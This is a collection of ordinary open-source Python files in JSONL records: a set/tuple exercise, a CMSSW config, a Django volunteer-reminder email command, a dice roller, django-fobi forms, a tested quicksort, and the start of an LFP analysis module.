+{"seq_id":"39813365124","text":"'''\n集合\n重複はできない\nグループ全体の処理に使える\n\nタプル\n戻り値やfor文のときに変数を2つ用意しなくていい\n'''\n\n\n\n\nx_set={11,222,333}\ny_list=[11,333,444,555,11]\ny_set=set(y_list)\n\nresult=x_set&y_set\nprint(result)\n\nresult=x_set-y_set\nprint(result)\n\nresult=x_set|y_set\n\nprint(result)\n\nx_tuple=(1,3,5)\ny_list=[3,4,5]\ny_tuple=tuple(y_list)\n\nresult=x_tuple+y_tuple\n\nprint(result)\n\n\n\n\n","repo_name":"teru12012000/practice_python","sub_path":"practice1/tuple.py","file_name":"tuple.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"40095137250","text":"import FWCore.ParameterSet.Config as cms\n\n# Full configuration for Tracker Geometry Comparison Tool\nfrom Alignment.OfflineValidation.trackerGeometryCompare_cfi import trackerGeometryCompare as _trackerGeometryCompare\nTrackerGeometryCompare = _trackerGeometryCompare.clone(\n fromDD4hep = False,\n writeToDB = False,\n outputFile = 'output.root',\n setCommonTrackerSystem = 'NONE', ##must be \"NONE\" if you don't want to use this option\n detIdFlag = False,\n detIdFlagFile = 'blah.txt',\n weightById = False,\n #\tuntracked vstring levels = {\"PixelEndcap\",\"PixelHalfBarrel\",\"TID\",\"HalfBarrel\",\"Endcap\",\"DetUnit\"}\n levels = ['Det'],\n weightBy = 'DetUnit',\n weightByIdFile = 'blah2.txt',\n treeNameAlign = 'alignTree',\n treeNameDeform = 'alignTreeDeformations',\n inputROOTFile1 = 'IDEAL',\n inputROOTFile2 = 'idealtracker2.root',\n moduleList = 'moduleList.txt',\n surfDir = '.'\n)\n\n\n\n","repo_name":"cms-sw/cmssw","sub_path":"Alignment/OfflineValidation/python/TrackerGeometryCompare_cfi.py","file_name":"TrackerGeometryCompare_cfi.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":985,"dataset":"github-code","pt":"50"} +{"seq_id":"71617829594","text":"# Standard\nimport datetime\nimport logging\n\n# Third party\nfrom django.core.management.base import BaseCommand\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.template.loader import get_template\nfrom django.db.models import F\nfrom django.conf import settings\n\n# Local\nfrom tasks.models import Task, Claim, Nag, Worker, EligibleClaimant2\nfrom members.models import Member\n\n__author__ = 'adrian'\n\nEMAIL_BZWOPS = settings.BZWOPS_CONFIG['EMAIL_BZWOPS']\nEMAIL_VOLUNTEER = settings.BZWOPS_CONFIG['EMAIL_VOLUNTEER']\nEMAIL_ARCHIVE = settings.BZWOPS_CONFIG['EMAIL_ARCHIVE']\nEMAIL_STAFF_LIST = settings.BZWOPS_CONFIG['EMAIL_STAFF_LIST']\n\nONEDAY = datetime.timedelta(days=1)\nTWODAYS = ONEDAY + ONEDAY\nTHREEDAYS = TWODAYS + ONEDAY\nFOURDAYS = THREEDAYS + ONEDAY\nONEWEEK = datetime.timedelta(weeks=1)\nTWOWEEKS = ONEWEEK + ONEWEEK\n\n\nclass Command(BaseCommand):\n\n help = \"Emails members asking them to work tasks.\"\n\n def add_arguments(self, parser):\n parser.add_argument('--host', default=\"https://xerocraft-django.herokuapp.com\")\n\n @staticmethod\n def send_staffing_emergency_message(tasks, HOST):\n\n text_content_template = get_template('tasks/email-staffing-emergency.txt')\n html_content_template = get_template('tasks/email-staffing-emergency.html')\n\n d = {\n 'tasks': tasks,\n 'host': HOST,\n 'vc': EMAIL_VOLUNTEER,\n }\n\n subject = 'Staffing Emergency! ' + datetime.date.today().strftime('%a %b %d')\n from_email = EMAIL_VOLUNTEER\n bcc_email = EMAIL_ARCHIVE\n to = EMAIL_VOLUNTEER # Testing by sending to Volunteer. Will ultimately send to EMAIL_STAFF_LIST.\n text_content = text_content_template.render(d)\n html_content = html_content_template.render(d)\n msg = EmailMultiAlternatives(subject, text_content, from_email, [to], [bcc_email])\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()\n\n @staticmethod\n def nag_for_workers(HOST):\n today = datetime.date.today()\n\n # Find out who's doing what over the next 2 weeks. Who's already scheduled to work and who's heavily scheduled?\n ppl_already_scheduled = Claim.sum_in_period(today, today+TWOWEEKS)\n ppl_heavily_scheduled = set([member for member, dur in ppl_already_scheduled.items() if dur >= datetime.timedelta(hours=6.0)])\n\n # Rule out the following sets:\n ppl_excluded = set()\n ppl_excluded |= set([worker.member for worker in Worker.objects.filter(should_nag=False)])\n ppl_excluded |= set(Member.objects.filter(auth_user__email=\"\"))\n ppl_excluded |= set(Member.objects.filter(auth_user__is_active=False))\n\n # Cycle through future days' NAGGING tasks to see which need workers and who should be nagged.\n nag_lists = {}\n emergency_tasks = []\n for task in Task.objects.filter(scheduled_date__gte=today, scheduled_date__lt=today+THREEDAYS, should_nag=True):\n\n # No need to nag if task is fully claimed or not workable.\n if (not task.is_active()) or task.is_fully_claimed:\n continue\n\n # Skip tasks that repeat at intervals and can slide. Nags for these will be\n # notifications pushed when an eligible worker walks into the facility.\n rtt = task.recurring_task_template\n if rtt.repeat_interval is not None and rtt.missed_date_action == rtt.MDA_SLIDE_SELF_AND_LATER:\n continue\n\n potentials = task.all_eligible_claimants()\n potentials -= task.claimant_set(Claim.STAT_CURRENT)\n potentials -= task.claimant_set(Claim.STAT_UNINTERESTED)\n # potentials -= task.claimant_set(Claim.STAT_EXPIRED) Their claim expired but they're still a possibility.\n potentials -= task.claimant_set(Claim.STAT_ABANDONED)\n potentials -= ppl_excluded\n\n panic_situation = task.scheduled_date == today and task.priority == Task.PRIO_HIGH\n if panic_situation:\n emergency_tasks.append(task)\n else:\n # Don't bother heavily scheduled people if it's not time to panic\n potentials -= ppl_heavily_scheduled\n\n for member in potentials:\n if member not in nag_lists:\n nag_lists[member] = []\n nag_lists[member] += [task]\n\n # Send staffing emergency message to staff list:\n if len(emergency_tasks) > 0:\n Command.send_staffing_emergency_message(emergency_tasks, HOST)\n\n # Send email nag messages to potential workers:\n text_content_template = get_template('tasks/email_nag_template.txt')\n html_content_template = get_template('tasks/email_nag_template.html')\n for member, tasks in nag_lists.items():\n\n b64, md5 = Member.generate_auth_token_str(\n lambda token: Nag.objects.filter(auth_token_md5=token).count() == 0 # uniqueness test\n )\n\n nag = Nag.objects.create(who=member, auth_token_md5=md5)\n nag.tasks.add(*tasks)\n\n d = {\n 'token': b64,\n 'member': member,\n 'tasks': tasks,\n 'host': HOST,\n }\n subject = 'Call for Volunteers, ' + datetime.date.today().strftime('%a %b %d')\n from_email = EMAIL_VOLUNTEER\n bcc_email = EMAIL_ARCHIVE\n to = member.email\n text_content = text_content_template.render(d)\n html_content = html_content_template.render(d)\n msg = EmailMultiAlternatives(subject, text_content, from_email, [to], [bcc_email])\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()\n\n @staticmethod\n def abandon_suspect_claims():\n \"\"\"A default claim is 'suspect' if it's almost time to do the work but the claim is not verified.\"\"\"\n\n logger = logging.getLogger(\"tasks\")\n today = datetime.date.today()\n\n for claim in Claim.objects.filter(\n status = Claim.STAT_CURRENT,\n claimed_task__scheduled_date__range=[today+ONEDAY, today+TWODAYS],\n claiming_member=F('claimed_task__recurring_task_template__default_claimant'),\n date_verified__isnull=True):\n # If we get here, it means that we've asked default claimant to verify twice but haven't heard back.\n if claim.claiming_member not in claim.claimed_task.all_eligible_claimants():\n # It looks like person who set up the task forgot to make default claimant an eligible claimant.\n # So let's add the default claimant to the list of eligible claimants.\n EligibleClaimant2.objects.create(\n task=claim.claimed_task,\n member=claim.claiming_member,\n type=EligibleClaimant2.TYPE_DEFAULT_CLAIMANT\n )\n # Change the default claimant's claim to EXPIRED\n # because we now want to nag to ALL eligible claimants.\n # Note that \"verified date\" is not set for status EXPIRED.\n claim.status = Claim.STAT_EXPIRED\n claim.save()\n\n @staticmethod\n def verify_default_claims(HOST):\n\n today = datetime.date.today()\n claims = Claim.objects.filter(\n status=Claim.STAT_CURRENT,\n claimed_task__scheduled_date__range=[today+THREEDAYS, today+FOURDAYS],\n # REVIEW: Is the following 'claiming_member' restriction actually required?\n claiming_member=F('claimed_task__recurring_task_template__default_claimant'),\n date_verified__isnull=True,\n claimed_task__should_nag=True,\n claiming_member__worker__should_nag=True,\n )\n\n if len(claims) == 0:\n # No default claims to process.\n return\n\n text_content_template = get_template('tasks/email-verify-claim.txt')\n html_content_template = get_template('tasks/email-verify-claim.html')\n\n for claim in claims:\n if not claim.claiming_member.worker.should_nag:\n continue\n\n b64, md5 = Member.generate_auth_token_str(\n lambda token: Nag.objects.filter(auth_token_md5=token).count() == 0) # uniqueness test\n nag = Nag.objects.create(who=claim.claiming_member, auth_token_md5=md5)\n nag.claims.add(claim)\n nag.tasks.add(claim.claimed_task)\n\n dow = claim.claimed_task.scheduled_weekday()\n\n d = {\n 'claimant': claim.claiming_member,\n 'claim': claim,\n 'task': claim.claimed_task,\n 'dow': dow,\n 'auth_token': b64,\n 'host': HOST,\n }\n\n # Send email messages:\n subject = 'Please verify your availability for this {}'.format(dow)\n from_email = EMAIL_VOLUNTEER\n bcc_email = EMAIL_ARCHIVE\n to = claim.claiming_member.email\n text_content = text_content_template.render(d)\n html_content = html_content_template.render(d)\n msg = EmailMultiAlternatives(subject, text_content, from_email, [to], [bcc_email])\n msg.attach_alternative(html_content, \"text/html\")\n msg.send()\n\n def handle(self, *args, **options):\n\n HOST = options['host']\n\n # Order is significant!\n self.abandon_suspect_claims()\n self.verify_default_claims(HOST)\n self.nag_for_workers(HOST)\n","repo_name":"adrianboyko/xerocraft-django","sub_path":"tasks/management/commands/nag.py","file_name":"nag.py","file_ext":"py","file_size_in_byte":9511,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"32273787400","text":"from random import randint\n\ndef DiceRoller(Quantity,Dice,Modifier):\n Roll = 0\n for i in range(Quantity):\n Roll += randint(1,Dice)\n return Roll+Modifier\n\ndef Main():\n ReRoll = 'n'\n while True:\n if ReRoll == 'n':\n Quant = input(\"How many dice would you like to roll? \")\n if Quant == \"\":\n Quant = 1\n elif Quant.isnumeric():\n Quant = int(Quant)\n else:\n print(\"Needs to be integral!\")\n continue\n Dice = input(\"What die size would you like? \")\n if Dice == \"\":\n Dice = 20\n elif Dice.isnumeric():\n Dice = int(Dice)\n else:\n print(\"Needs to be integral!\")\n continue\n Mod = input(\"Is there any modifier? \")\n if Mod == \"\":\n Mod = 0\n elif Mod.isnumeric():\n Mod = int(Mod)\n else:\n print(\"Needs to be integral!\")\n continue\n elif ReRoll!='':\n print(\"Please input either y or n.\")\n ReRoll = input(\"Would you like to reroll? ([y]es/[n]o, change parameters/[q]uit]\").lower()\n continue\n if Mod<0:\n print(Quant, \"d\", Dice, Mod, \" = \", DiceRoller(Quant, Dice, Mod), sep=\"\")\n else:\n print(Quant, \"d\", Dice, \"+\", Mod, \" = \", DiceRoller(Quant,Dice,Mod),sep=\"\")\n ReRoll = input(\"Would you like to reroll? (yes/[n]o, change parameters/[q]uit]\").lower()\n if ReRoll=='q':\n break\n\nMain()\n","repo_name":"andrew-bydlon/Courses","sub_path":"Python/ProjectSolutions/DiceRoller.py","file_name":"DiceRoller.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"4652060399","text":"import socket\n\nfrom django import forms\nfrom django.forms.models import modelformset_factory\nfrom django.utils.translation import gettext, gettext_lazy as _\nfrom six.moves.urllib.parse import urlparse\n\n# from nonefield.fields import NoneField\n\ntry:\n from ckeditor.widgets import CKEditorWidget\n\n CKEDITOR_INSTALLED = True\nexcept ImportError:\n CKEDITOR_INSTALLED = False\n\nfrom .base import ( # get_registered_form_wizard_handler_plugins,\n get_registered_form_element_plugins,\n get_registered_form_handler_plugins,\n get_theme,\n)\nfrom .constants import ACTION_CHOICES\nfrom .exceptions import ImproperlyConfigured\nfrom .models import ( # Form plugins; Form entries; Form wizard entries\n FormElement,\n FormElementEntry,\n FormEntry,\n FormFieldsetEntry,\n FormHandler,\n FormHandlerEntry,\n FormWizardEntry,\n FormWizardFormEntry,\n FormWizardHandler,\n FormWizardHandlerEntry,\n)\nfrom .validators import url_exists\n\n__title__ = \"fobi.forms\"\n__author__ = \"Artur Barseghyan \"\n__copyright__ = \"2014-2019 Artur Barseghyan\"\n__license__ = \"GPL 2.0/LGPL 2.1\"\n__all__ = (\n \"BulkChangeFormElementPluginsForm\",\n \"BulkChangeFormHandlerPluginsForm\",\n \"BulkChangeFormWizardHandlerPluginsForm\",\n \"FormElementEntryForm\",\n \"FormElementEntryFormSet\",\n \"FormEntryForm\",\n \"FormFieldsetEntryForm\",\n \"FormHandlerEntryForm\",\n \"FormHandlerForm\",\n \"FormWizardEntryForm\",\n \"FormWizardFormEntryForm\",\n \"FormWizardFormEntryFormSet\",\n \"FormWizardHandlerEntryForm\",\n \"ImportFormEntryForm\",\n \"ImportFormWizardEntryForm\",\n)\n\n# *****************************************************************************\n# *****************************************************************************\n# ******************************* Entry forms *********************************\n# *****************************************************************************\n# *****************************************************************************\n\n\nclass FormEntryForm(forms.ModelForm):\n \"\"\"Form for ``fobi.models.FormEntry`` model.\"\"\"\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormEntry\n fields = (\n \"name\",\n \"title\",\n \"is_public\",\n \"active_date_from\",\n \"active_date_to\",\n \"inactive_page_title\",\n \"inactive_page_message\",\n \"success_page_title\",\n \"success_page_message\",\n \"action\",\n # 'is_cloneable',\n )\n\n def __init__(self, *args, **kwargs):\n \"\"\"Constructor.\"\"\"\n self.request = kwargs.pop(\"request\", None)\n if self.request is None:\n raise ImproperlyConfigured(\n gettext(\n \"The {0} form requires a \"\n \"request argument.\".format(self.__class__.__name__)\n )\n )\n\n super(FormEntryForm, self).__init__(*args, **kwargs)\n theme = get_theme(request=None, as_instance=True)\n\n self.fields[\"name\"].widget = forms.widgets.TextInput(\n attrs={\"class\": theme.form_element_html_class}\n )\n\n self.fields[\"title\"].widget = forms.widgets.TextInput(\n attrs={\"class\": theme.form_element_html_class}\n )\n\n self.fields[\"success_page_title\"].widget = forms.widgets.TextInput(\n attrs={\"class\": theme.form_element_html_class}\n )\n\n self.fields[\"inactive_page_title\"].widget = forms.widgets.TextInput(\n attrs={\"class\": theme.form_element_html_class}\n )\n\n self.fields[\"active_date_from\"].widget = forms.widgets.DateTimeInput(\n format=\"%Y-%m-%d %H:%M\",\n attrs={\"class\": theme.form_element_html_class},\n )\n\n self.fields[\"active_date_to\"].widget = forms.widgets.DateTimeInput(\n format=\"%Y-%m-%d %H:%M\",\n attrs={\"class\": theme.form_element_html_class},\n )\n\n if CKEDITOR_INSTALLED:\n self.fields[\"success_page_message\"].widget = CKEditorWidget(\n attrs={\"class\": theme.form_element_html_class}\n )\n self.fields[\"inactive_page_message\"].widget = CKEditorWidget(\n attrs={\"class\": theme.form_element_html_class}\n )\n else:\n self.fields[\"success_page_message\"].widget = forms.widgets.Textarea(\n attrs={\"class\": theme.form_element_html_class}\n )\n self.fields[\n \"inactive_page_message\"\n ].widget = forms.widgets.Textarea(\n attrs={\"class\": theme.form_element_html_class}\n )\n\n self.fields[\"action\"].widget = forms.widgets.TextInput(\n attrs={\"class\": theme.form_element_html_class}\n )\n\n # At the moment this is done for Foundation 5 theme. Remove this once\n # it's possible for a theme to override this form. Alternatively, add\n # the attrs to the theme API.\n self.fields[\"is_public\"].widget = forms.widgets.CheckboxInput(\n attrs={\"data-customforms\": \"disabled\"}\n )\n # self.fields['is_cloneable'].widget = forms.widgets.CheckboxInput(\n # attrs={'data-customforms': 'disabled'}\n # )\n\n def clean_action(self):\n \"\"\"Validate the action (URL).\n\n Checks if URL exists.\n \"\"\"\n url = self.cleaned_data[\"action\"]\n if url:\n full_url = url\n\n if not (url.startswith(\"http://\") or url.startswith(\"https://\")):\n full_url = self.request.build_absolute_uri(url)\n\n parsed_url = urlparse(full_url)\n\n local = False\n\n try:\n localhost = socket.gethostbyname(\"localhost\")\n except Exception as err:\n localhost = \"127.0.0.1\"\n\n if parsed_url.hostname == \"testserver\":\n local = True\n else:\n try:\n host = socket.gethostbyname(parsed_url.hostname)\n\n local = localhost == host\n except socket.gaierror as err:\n pass\n\n if local:\n full_url = parsed_url.path\n\n if not url_exists(full_url, local=local):\n raise forms.ValidationError(\n gettext(\"Invalid action URL {0}.\").format(full_url)\n )\n\n return url\n\n\nclass FormFieldsetEntryForm(forms.ModelForm):\n \"\"\"Form for ``fobi.models.FormFieldsetEntry`` model.\"\"\"\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormFieldsetEntry\n fields = (\"name\",)\n\n def __init__(self, *args, **kwargs):\n \"\"\"Constructor.\"\"\"\n super(FormFieldsetEntryForm, self).__init__(*args, **kwargs)\n theme = get_theme(request=None, as_instance=True)\n self.fields[\"name\"].widget = forms.widgets.TextInput(\n attrs={\"class\": theme.form_element_html_class}\n )\n\n\nclass FormElementForm(forms.ModelForm):\n \"\"\"FormElement form.\"\"\"\n\n # plugin_uid = forms.ChoiceField(\n # choices=get_registered_form_element_plugins()\n # )\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormElement\n fields = (\"users\", \"groups\")\n\n\nclass FormElementEntryForm(forms.ModelForm):\n \"\"\"FormElementEntry form.\"\"\"\n\n plugin_uid = forms.ChoiceField(\n choices=get_registered_form_element_plugins()\n )\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormElementEntry\n fields = (\"form_entry\", \"plugin_data\", \"plugin_uid\", \"position\")\n\n\nclass _FormElementEntryForm(forms.ModelForm):\n \"\"\"FormElementEntry form.\n\n To be used with `FormElementEntryFormSet` only.\n \"\"\"\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormElementEntry\n fields = (\"position\",)\n\n\nFormElementEntryFormSet = modelformset_factory(\n FormElementEntry, fields=(\"position\",), extra=0, form=_FormElementEntryForm\n)\n\n\nclass FormHandlerForm(forms.ModelForm):\n \"\"\"FormHandler form.\"\"\"\n\n # plugin_uid = forms.ChoiceField(\n # choices=get_registered_form_handler_plugins()\n # )\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormHandler\n fields = (\"users\", \"groups\")\n\n\nclass FormHandlerEntryForm(forms.ModelForm):\n \"\"\"FormHandlerEntry form.\"\"\"\n\n plugin_uid = forms.ChoiceField(\n choices=get_registered_form_handler_plugins()\n )\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormHandlerEntry\n fields = (\"form_entry\", \"plugin_data\", \"plugin_uid\")\n\n\n# *****************************************************************************\n# *****************************************************************************\n# ****************************** Wizard forms *********************************\n# *****************************************************************************\n# *****************************************************************************\n\n\nclass FormWizardFormEntryForm(forms.ModelForm):\n \"\"\"FormWizardFormEntryForm form.\"\"\"\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormWizardFormEntry\n fields = (\n \"form_wizard_entry\",\n \"form_entry\",\n )\n\n\nclass _FormWizardFormEntryForm(forms.ModelForm):\n \"\"\"FormWizardFormEntryForm for formset.\n\n .. note::\n We have only two fields in the form: `form_entry` and `position`. The\n `form_entry` field is a `nonefield.NoneField`, thus - read only. The\n only changeable field is `position`.\n\n .. warning::\n\n To be used in `FormWizardFormEntryFormSet` only. If you need model\n form for `FormWizardFormEntry` model, make another one and leave this\n intact.\n \"\"\"\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormWizardFormEntry\n fields = (\"position\",)\n\n # def __init__(self, *args, **kwargs):\n # \"\"\"Constructor.\"\"\"\n # super(_FormWizardFormEntryForm, self).__init__(*args, **kwargs)\n #\n # self.fields['position'].widget = forms.widgets.HiddenInput(\n # attrs={'class': 'form-element-position'}\n # )\n # # self.fields['form_entry'] = NoneField(\n # # required=False,\n # # label=self.fields['form_entry'].label,\n # # initial=self.fields['form_entry'].initial,\n # # help_text=self.fields['form_entry'].help_text\n # # )\n\n\nFormWizardFormEntryFormSet = modelformset_factory(\n FormWizardFormEntry,\n fields=(\"position\",),\n extra=0,\n form=_FormWizardFormEntryForm,\n)\n\n\nclass FormWizardEntryForm(forms.ModelForm):\n \"\"\"Form for ``fobi.models.FormWizardEntry`` model.\"\"\"\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormWizardEntry\n fields = (\n \"name\",\n \"title\",\n \"is_public\",\n \"success_page_title\",\n \"success_page_message\",\n \"show_all_navigation_buttons\",\n )\n # 'wizard_type'\n # 'action',\n # 'is_cloneable',\n\n def __init__(self, *args, **kwargs):\n \"\"\"Constructor.\"\"\"\n self.request = kwargs.pop(\"request\", None)\n if self.request is None:\n raise ImproperlyConfigured(\n gettext(\n \"The {0} form requires a \"\n \"request argument.\".format(self.__class__.__name__)\n )\n )\n\n super(FormWizardEntryForm, self).__init__(*args, **kwargs)\n theme = get_theme(request=None, as_instance=True)\n\n self.fields[\"name\"].widget = forms.widgets.TextInput(\n attrs={\"class\": theme.form_element_html_class}\n )\n\n self.fields[\"title\"].widget = forms.widgets.TextInput(\n attrs={\"class\": theme.form_element_html_class}\n )\n\n self.fields[\n \"show_all_navigation_buttons\"\n ].widget = forms.widgets.CheckboxInput(\n attrs={\"data-customforms\": \"disabled\"}\n )\n\n self.fields[\"success_page_title\"].widget = forms.widgets.TextInput(\n attrs={\"class\": theme.form_element_html_class}\n )\n\n self.fields[\"success_page_message\"].widget = forms.widgets.Textarea(\n attrs={\"class\": theme.form_element_html_class}\n )\n\n # self.fields['action'].widget = forms.widgets.TextInput(\n # attrs={'class': theme.form_element_html_class}\n # )\n\n # self.fields['wizard_type'].widget.attrs = {\n # 'class': theme.form_element_html_class\n # }\n\n # At the moment this is done for Foundation 5 theme. Remove this once\n # it's possible for a theme to override this form. Alternatively, add\n # the attrs to the theme API.\n self.fields[\"is_public\"].widget = forms.widgets.CheckboxInput(\n attrs={\"data-customforms\": \"disabled\"}\n )\n # self.fields['is_cloneable'].widget = forms.widgets.CheckboxInput(\n # attrs={'data-customforms': 'disabled'}\n # )\n\n # def clean_action(self):\n # \"\"\"Validate the action (URL).\n #\n # Checks if URL exists.\n # \"\"\"\n # url = self.cleaned_data['action']\n # if url:\n # full_url = url\n #\n # if not (url.startswith('http://') or url.startswith('https://')):\n # full_url = self.request.build_absolute_uri(url)\n #\n # parsed_url = urlparse(full_url)\n #\n # local = False\n #\n # try:\n # localhost = socket.gethostbyname('localhost')\n # except Exception as err:\n # localhost = '127.0.0.1'\n #\n # try:\n # host = socket.gethostbyname(parsed_url.hostname)\n #\n # local = (localhost == host)\n # except socket.gaierror as err:\n # pass\n #\n # if local:\n # full_url = parsed_url.path\n #\n # if not url_exists(full_url, local=local):\n # raise forms.ValidationError(\n # gettext(\"Invalid action URL {0}.\").format(full_url)\n # )\n #\n # return url\n\n\nclass FormWizardHandlerEntryForm(forms.ModelForm):\n \"\"\"FormWizardHandlerEntry form.\"\"\"\n\n plugin_uid = forms.ChoiceField(\n choices=get_registered_form_handler_plugins()\n )\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormWizardHandlerEntry\n fields = (\"form_wizard_entry\", \"plugin_data\", \"plugin_uid\")\n\n\n# *****************************************************************************\n# *****************************************************************************\n# *********************************** Base ************************************\n# *****************************************************************************\n# *****************************************************************************\n\n\nclass BaseBulkChangePluginsForm(forms.ModelForm):\n \"\"\"Bulk change plugins form.\n\n - `selected_plugins` (str): List of comma separated values to be\n changed.\n - `users_action` (int): For indicating wheither the users shall be appended\n to the dashbard plugins or replaced.\n - `groups_action` (int): For indicating wheither the groups shall be\n appended to the dashboard plugins or replaced.\n \"\"\"\n\n selected_plugins = forms.CharField(\n required=True,\n label=_(\"Selected plugins\"),\n widget=forms.widgets.HiddenInput,\n )\n users_action = forms.ChoiceField(\n required=False,\n label=_(\"Users action\"),\n choices=ACTION_CHOICES,\n help_text=_(\n \"If set to ``replace``, the groups are replaced; \"\n \"otherwise - appended.\"\n ),\n )\n groups_action = forms.ChoiceField(\n required=False,\n label=_(\"Groups action\"),\n choices=ACTION_CHOICES,\n help_text=_(\n \"If set to ``replace``, the groups are replaced; \"\n \"otherwise - appended.\"\n ),\n )\n\n class Media(object):\n \"\"\"Media class.\"\"\"\n\n css = {\"all\": (\"css/admin_custom.css\",)}\n\n def __init__(self, *args, **kwargs):\n \"\"\"Constructor.\"\"\"\n super(BaseBulkChangePluginsForm, self).__init__(*args, **kwargs)\n self.fields[\"users\"].required = False\n self.fields[\"groups\"].required = False\n\n\nclass BulkChangeFormElementPluginsForm(BaseBulkChangePluginsForm):\n \"\"\"Bulk change form element plugins form.\"\"\"\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormElement\n fields = [\"groups\", \"groups_action\", \"users\", \"users_action\"]\n\n\nclass BulkChangeFormHandlerPluginsForm(BaseBulkChangePluginsForm):\n \"\"\"Bulk change form handler plugins form.\"\"\"\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormHandler\n fields = [\"groups\", \"groups_action\", \"users\", \"users_action\"]\n\n\nclass BulkChangeFormWizardHandlerPluginsForm(BaseBulkChangePluginsForm):\n \"\"\"Bulk change form wizard handler plugins form.\"\"\"\n\n class Meta(object):\n \"\"\"Meta class.\"\"\"\n\n model = FormWizardHandler\n fields = [\"groups\", \"groups_action\", \"users\", \"users_action\"]\n\n\n# *****************************************************************************\n# *****************************************************************************\n# **************************** Import form entry ******************************\n# *****************************************************************************\n# *****************************************************************************\n\n\nclass ImportFormEntryForm(forms.Form):\n \"\"\"Import form entry form.\"\"\"\n\n file = forms.FileField(required=True, label=_(\"File\"))\n # ignore_broken_form_element_entries = forms.BooleanField(\n # required=False,\n # label=_(\"Ignore broken form element entries\"))\n # ignore_broken_form_handler_entries = forms.BooleanField(\n # required=False,\n # label=_(\"Ignore broken form handler entries\"))\n\n\n# *****************************************************************************\n# *****************************************************************************\n# ************************** Import form wizard entry *************************\n# *****************************************************************************\n# *****************************************************************************\n\n\nclass ImportFormWizardEntryForm(ImportFormEntryForm):\n \"\"\"Import form entry wizard form.\"\"\"\n","repo_name":"barseghyanartur/django-fobi","sub_path":"src/fobi/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":18476,"program_lang":"python","lang":"en","doc_type":"code","stars":474,"dataset":"github-code","pt":"50"} +{"seq_id":"73508432474","text":"import unittest\nfrom random import randint\n\ndef quicksort(unsorted_list):\n # If the list is of length 1 or less,\n # return it because it's already sorted\n if len(unsorted_list) <= 1:\n return unsorted_list\n\n # Otherwise find a pivot value in the list\n # Here the pivot is selected randomly\n pivot_index = randint(0,len(unsorted_list) - 1)\n pivot = unsorted_list[pivot_index]\n\n # Delete the value being used as the pivot from\n # the unsorted list. It will be concatenated with\n # the sorted portions later\n del unsorted_list[pivot_index]\n\n # create empty lists representing the portions of the\n # unsorted list less than/equal or greater than the\n # pivot value\n less = []\n greater = []\n\n # for each element in the unsorted list, compare it to\n # the pivot value, and append it to the appropriate list\n for val in unsorted_list:\n if val <= pivot:\n less.append(val)\n else:\n greater.append(val)\n\n # the sorted list is the result of concatenating the\n # sorted less list with the pivot value, and the sorted\n # greater list\n return quicksort(less) + [pivot] + quicksort(greater)\n\n# Testing\nclass TestQuicksort(unittest.TestCase):\n def test_quicksort(self):\n self.assertEqual(quicksort([4,3,2,6,8,8,4,3,7,2,6,2]), [2, 2, 2, 3, 3, 4, 4, 6, 6, 7, 8, 8])\n self.assertEqual(quicksort([3,2,1,4]), [1,2,3,4])\n self.assertEqual(quicksort([3,2,3,3,1,3,3,4,3,3]), [1,2,3,3,3,3,3,3,3,4])\n self.assertEqual(quicksort([-1,0,1,2]), [-1,0,1,2])\n self.assertEqual(quicksort([2,0,1,-1]), [-1,0,1,2])\n self.assertEqual(quicksort([2,1,0,-1]), [-1,0,1,2])\n self.assertEqual(quicksort([1,2,1,2,-1,-1]), [-1,-1,1,1,2,2])\n\nif __name__ == '__main__':\n unittest.main()\n\n\n","repo_name":"campo/public","sub_path":"sorting/quicksort/quicksort.py","file_name":"quicksort.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"14717413587","text":"# Functions to support the analysis of LFP\n# Hernando Martinez Vergara\n# December 2018\n\nimport numpy as np\nimport math\nimport re\n\ndef getFirstPulses(pulsevector, timedif):\n \"\"\"\n From a vector of time events, get those that are separated\n from the preceiding one by at least some time\n :param pulsevector: 1D array\n :param timedif: float or int defining the time separation condition\n :return: 1D array of time stamps.\n \"\"\"\n # calculate the difference between elements\n difvector = [j-i for i, j in zip(pulsevector[:-1], pulsevector[1:])]\n # add a 'fake' one at the beginning to compensate for the reduction of elements\n # and include the first element\n difvector = [timedif+1] + difvector\n \n # get the indeces of those bigger than the condition\n idx = [i for i,v in enumerate(difvector) if v > timedif]\n \n # return the vector\n return pulsevector[idx]\n\n\n\ndef alignTrace(trace, times, aligntimes, interval, samplingfreq):\n \"\"\"\n Get a matrix of rows of events aligned to some time,\n spanning an interval\n :param trace: list of 1D arrays of x size (multiple traces of events) \n :param times: 1D array of x size (times associated to traces)\n :param aligntimes: time events to align to\n :param interval: list of two elements with limits defining\n the length of the aligned traces. In seconds.\n :param samplingfreq: in Hz, the frequency of sampling\n :return: list of 2D arrays of time stamps. In rows the traces, \n in columns the aligned times.\n \"\"\"\n # find indexes in times of aligntimes values\n timeindexes = np.zeros(len(aligntimes))\n for i in range(len(timeindexes)):\n timeindexes[i] = np.where(times == aligntimes[i])[0]\n #convert it to integers\n timeindexes = 